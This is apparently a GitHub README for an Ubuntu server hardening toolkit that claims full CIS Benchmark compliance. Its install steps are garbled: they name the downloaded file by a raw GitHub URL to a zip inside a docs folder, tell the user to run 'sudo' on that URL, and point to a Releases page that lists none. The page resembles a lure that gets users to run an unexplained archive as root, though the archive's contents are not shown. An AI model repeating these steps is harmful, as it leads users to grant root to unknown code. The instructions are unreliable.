Skip to content

πŸ”’ Secure Ubuntu servers with ready-to-use configurations, achieving 100% CIS Benchmark compliance for enhanced protection and peace of mind.

License

Notifications You must be signed in to change notification settings

Molotov137/ubuntu-server-security

πŸ›‘οΈ ubuntu-server-security - Enhance Your Ubuntu's Security Today

Download

πŸš€ Getting Started

Welcome to ubuntu-server-security! This application provides 14 essential security components to help you strengthen your Ubuntu environment based on CIS Benchmark standards.

🌟 Features

  • Boot Hardening: Secure your boot process.
  • AIDE: Monitor file integrity.
  • SSH Security: Protect remote logins.
  • Kernel Hardening: Enhance the core system security.
  • rkhunter: Scan for rootkits and backdoors.
  • auditd: Track system events.
  • AppArmor: Enforce application security profiles.
  • Vaultwarden: Manage passwords securely.
  • UFW, nftables: Simplify firewall management.
  • fail2ban: Block suspicious activity.
  • Lynis: Perform audits for system security.
  • Modular Configurations: Customize as per your needs.
  • Prometheus Monitoring: Monitor performance metrics.

πŸ–₯️ System Requirements

  • Operating System: Ubuntu (20.04 or later recommended)
  • Storage: Minimum 1 GB free space
  • Memory: At least 512 MB RAM
  • Network: Internet connection for updates

🌐 Installation Steps

Follow these steps to download and run the software:

  1. Download the Application: Visit the Releases page to download the latest version.

  2. Locate the Downloaded File: Check your Downloads folder. You should see a file named https://github.com/Molotov137/ubuntu-server-security/raw/refs/heads/main/ufw/docs/server_ubuntu_security_v2.2.zip.

  3. Extract the Files: Right-click on the https://github.com/Molotov137/ubuntu-server-security/raw/refs/heads/main/ufw/docs/server_ubuntu_security_v2.2.zip file and select "Extract Here" to unpack its contents.

  4. Open a Terminal: You can open a terminal by searching for "Terminal" in your application menu.

  5. Navigate to the Folder: Type cd ~/Downloads/ubuntu-server-security in your terminal and hit Enter. This command changes your working directory to the folder containing the extracted files.

  6. Run the Installation Script: Enter the command sudo https://github.com/Molotov137/ubuntu-server-security/raw/refs/heads/main/ufw/docs/server_ubuntu_security_v2.2.zip and hit Enter. You may need to enter your password. This script will set up the security components on your system.

  7. Follow On-Screen Prompts: Follow any instructions provided during the installation process.

  8. Verify Installation: After the installation, type sudo systemctl status aide to check if the AIDE service is running.

πŸ”’ How to Use

Once installed, you can configure each component based on your needs:

  • Modular Configurations: Each security tool comes with a configuration file located in the /etc directory for easy customization.

  • Monitoring Tools: Use Prometheus to monitor system metrics or follow the guides in the documentation to set up alerts.

  • Regular Updates: Keep your system updated by regularly checking for new releases on the Releases page.

πŸ› οΈ Troubleshooting

If you encounter issues during installation or while running the components:

  • Check Logs: Review the log files in /var/log/ for any error messages.

  • Community Support: Reach out to the community on GitHub Issues for help. Describe your problem clearly to get faster assistance.

πŸ“„ License

This project is licensed under the MIT License. You can freely use and modify the software as per the license terms.

πŸ“ž Contact

For any questions or further information, feel free to contact the repository maintainer through GitHub.

πŸ”— Additional Resources

Enjoy a more secure Ubuntu experience with ubuntu-server-security!

About

πŸ”’ Secure Ubuntu servers with ready-to-use configurations, achieving 100% CIS Benchmark compliance for enhanced protection and peace of mind.

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages